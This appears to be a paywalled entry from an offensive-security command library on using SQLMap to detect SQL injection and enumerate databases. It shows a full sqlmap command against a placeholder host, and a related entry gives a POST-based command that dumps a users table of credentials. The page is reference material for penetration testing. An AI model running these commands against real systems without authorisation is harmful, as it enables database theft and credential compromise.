Back to library
Offensive Intermediate Premium

Automated SQL injection discovery and database enumeration

Automated SQL injection discovery and database enumeration

SQLMap / Web Hacking

Log in to save

Premium content locked

You can preview the command metadata. Full explanation, examples, and lab-style details are available to premium subscribers.

View premium options

Command

sqlmap -u "http://target.com/page?id=1" --dbs --batch --level=3 --risk=2

Syntax

sqlmap -u <url> [options]

Use case

After identifying a potential SQL injection point in web app testing, use SQLMap to confirm and extract database content.

Explanation

Automatically detects and exploits SQL injection: • -u → Target URL with injectable parameter • --dbs → Enumerate all databases • --batch → Non-interactive mode (auto-answer prompts) • --level → Test thoroughness (1-5, default 1)...

linux kali parrot macos windows sqlmap sql-injection web database exploitation

Related

Offensive Advanced Premium

POST-based SQL injection with credential dump from specific table

POST-based SQL injection with credential dump from specific table

sqlmap -u "http://target.com/login" --data="user=admin&pass=test" --method POST -D webapp_db -T users --dump
sqlmap post credentials dump sqli
SQLMap / Web Hacking Open